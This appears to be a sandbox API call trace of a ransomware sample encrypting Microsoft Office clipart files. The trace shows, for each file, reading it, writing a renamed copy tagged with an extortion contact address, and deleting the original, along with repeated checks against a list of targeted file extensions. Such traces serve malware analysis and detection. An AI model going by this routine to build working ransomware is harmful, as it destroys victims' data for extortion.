	[0086.671] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xbc0, lpOverlapped=0x0) returned 1
	[0086.672] ReadFile (in: hFile=0x2fc, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.672] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.672] SetEndOfFile (hFile=0x2d0) returned 1
	[0086.673] CloseHandle (hObject=0x2d0) returned 1
	[0086.673] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.673] SetEndOfFile (hFile=0x2fc) returned 1
	[0086.673] CloseHandle (hObject=0x2fc) returned 1
	[0086.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.674] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 1
	[0086.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0086.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0086.674] lstrlenW (lpString=".doc") returned 4
	[0086.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.674] lstrlenW (lpString=".docx") returned 5
	[0086.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.674] lstrlenW (lpString=".pdf") returned 4
	[0086.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.674] lstrlenW (lpString=".xls") returned 4
	[0086.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.674] lstrlenW (lpString=".xlsx") returned 5
	[0086.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.674] lstrlenW (lpString=".ppt") returned 4
	[0086.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0086.674] lstrlenW (lpString=".zip") returned 4
	[0086.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.674] lstrlenW (lpString=".rar") returned 4
	[0086.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.674] lstrlenW (lpString=".bz2") returned 4
	[0086.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.675] lstrlenW (lpString=".7z") returned 3
	[0086.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0086.675] lstrlenW (lpString=".dbf") returned 4
	[0086.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0086.675] lstrlenW (lpString=".1cd") returned 4
	[0086.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0086.675] lstrlenW (lpString=".jpg") returned 4
	[0086.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0086.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0086.675] lstrlenW (lpString=".doc") returned 4
	[0086.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.675] lstrlenW (lpString=".docx") returned 5
	[0086.675] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.675] lstrlenW (lpString=".pdf") returned 4
	[0086.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.675] lstrlenW (lpString=".xls") returned 4
	[0086.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.675] lstrlenW (lpString=".xlsx") returned 5
	[0086.675] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.675] lstrlenW (lpString=".ppt") returned 4
	[0086.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0086.675] lstrlenW (lpString=".zip") returned 4
	[0086.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.675] lstrlenW (lpString=".rar") returned 4
	[0086.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.675] lstrlenW (lpString=".bz2") returned 4
	[0086.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.675] lstrlenW (lpString=".7z") returned 3
	[0086.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0086.676] lstrlenW (lpString=".dbf") returned 4
	[0086.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0086.676] lstrlenW (lpString=".1cd") returned 4
	[0086.683] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0086.683] lstrlenW (lpString=".jpg") returned 4
	[0086.683] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.683] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.684] lstrlenW (lpString="DD01793_.WMF") returned 12
	[0086.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0086.835] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=3252) returned 1
	[0086.835] CloseHandle (hObject=0x360) returned 1
	[0086.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x220
	[0086.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0086.835] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.835] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0086.835] GetLastError () returned 0x0
	[0086.836] ReadFile (in: hFile=0x360, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xcb4, lpOverlapped=0x0) returned 1
	[0086.837] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xcc0, lpOverlapped=0x0) returned 1
	[0086.838] ReadFile (in: hFile=0x360, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.838] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.838] SetEndOfFile (hFile=0x340) returned 1
	[0086.838] CloseHandle (hObject=0x340) returned 1
	[0086.838] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.838] SetEndOfFile (hFile=0x360) returned 1
	[0086.839] CloseHandle (hObject=0x360) returned 1
	[0086.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.840] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 1
	[0086.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.840] lstrlenW (lpString=".doc") returned 4
	[0086.840] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.840] lstrlenW (lpString=".docx") returned 5
	[0086.840] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.840] lstrlenW (lpString=".pdf") returned 4
	[0086.840] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.840] lstrlenW (lpString=".xls") returned 4
	[0086.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.840] lstrlenW (lpString=".xlsx") returned 5
	[0086.840] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.840] lstrlenW (lpString=".ppt") returned 4
	[0086.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.840] lstrlenW (lpString=".zip") returned 4
	[0086.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.840] lstrlenW (lpString=".rar") returned 4
	[0086.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.840] lstrlenW (lpString=".bz2") returned 4
	[0086.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.840] lstrlenW (lpString=".7z") returned 3
	[0086.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.840] lstrlenW (lpString=".dbf") returned 4
	[0086.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.840] lstrlenW (lpString=".1cd") returned 4
	[0086.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.841] lstrlenW (lpString=".jpg") returned 4
	[0086.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.841] lstrlenW (lpString=".doc") returned 4
	[0086.841] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.841] lstrlenW (lpString=".docx") returned 5
	[0086.841] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.841] lstrlenW (lpString=".pdf") returned 4
	[0086.841] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.841] lstrlenW (lpString=".xls") returned 4
	[0086.841] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.841] lstrlenW (lpString=".xlsx") returned 5
	[0086.841] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.841] lstrlenW (lpString=".ppt") returned 4
	[0086.841] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.841] lstrlenW (lpString=".zip") returned 4
	[0086.841] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.841] lstrlenW (lpString=".rar") returned 4
	[0086.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.841] lstrlenW (lpString=".bz2") returned 4
	[0086.841] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.841] lstrlenW (lpString=".7z") returned 3
	[0086.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.841] lstrlenW (lpString=".dbf") returned 4
	[0086.841] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.841] lstrlenW (lpString=".1cd") returned 4
	[0086.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.841] lstrlenW (lpString=".jpg") returned 4
	[0086.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.842] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.842] lstrlenW (lpString="ED00010_.WMF") returned 12
	[0086.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0086.842] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1382) returned 1
	[0086.842] CloseHandle (hObject=0x360) returned 1
	[0086.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x220
	[0086.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0086.843] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.843] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0086.843] GetLastError () returned 0x0
	[0086.843] ReadFile (in: hFile=0x360, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x566, lpOverlapped=0x0) returned 1
	[0086.845] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x570, lpOverlapped=0x0) returned 1
	[0086.846] ReadFile (in: hFile=0x360, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.846] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.846] SetEndOfFile (hFile=0x340) returned 1
	[0086.846] CloseHandle (hObject=0x340) returned 1
	[0086.846] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.846] SetEndOfFile (hFile=0x360) returned 1
	[0086.847] CloseHandle (hObject=0x360) returned 1
	[0086.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 1
	[0086.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.847] lstrlenW (lpString=".doc") returned 4
	[0086.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.847] lstrlenW (lpString=".docx") returned 5
	[0086.847] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.847] lstrlenW (lpString=".pdf") returned 4
	[0086.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.847] lstrlenW (lpString=".xls") returned 4
	[0086.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.847] lstrlenW (lpString=".xlsx") returned 5
	[0086.847] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.847] lstrlenW (lpString=".ppt") returned 4
	[0086.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.848] lstrlenW (lpString=".zip") returned 4
	[0086.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.848] lstrlenW (lpString=".rar") returned 4
	[0086.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.848] lstrlenW (lpString=".bz2") returned 4
	[0086.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.848] lstrlenW (lpString=".7z") returned 3
	[0086.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.848] lstrlenW (lpString=".dbf") returned 4
	[0086.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.848] lstrlenW (lpString=".1cd") returned 4
	[0086.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.848] lstrlenW (lpString=".jpg") returned 4
	[0086.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.848] lstrlenW (lpString=".doc") returned 4
	[0086.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.848] lstrlenW (lpString=".docx") returned 5
	[0086.848] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.848] lstrlenW (lpString=".pdf") returned 4
	[0086.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.848] lstrlenW (lpString=".xls") returned 4
	[0086.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.848] lstrlenW (lpString=".xlsx") returned 5
	[0086.848] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.848] lstrlenW (lpString=".ppt") returned 4
	[0086.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.848] lstrlenW (lpString=".zip") returned 4
	[0086.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.848] lstrlenW (lpString=".rar") returned 4
	[0086.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.849] lstrlenW (lpString=".bz2") returned 4
	[0086.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.849] lstrlenW (lpString=".7z") returned 3
	[0086.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.849] lstrlenW (lpString=".dbf") returned 4
	[0086.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.849] lstrlenW (lpString=".1cd") returned 4
	[0086.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.849] lstrlenW (lpString=".jpg") returned 4
	[0086.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.849] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.849] lstrlenW (lpString="ED00019_.WMF") returned 12
	[0086.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0086.849] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=13042) returned 1
	[0086.849] CloseHandle (hObject=0x360) returned 1
	[0086.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x220
	[0086.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0086.850] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.850] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0086.850] GetLastError () returned 0x0
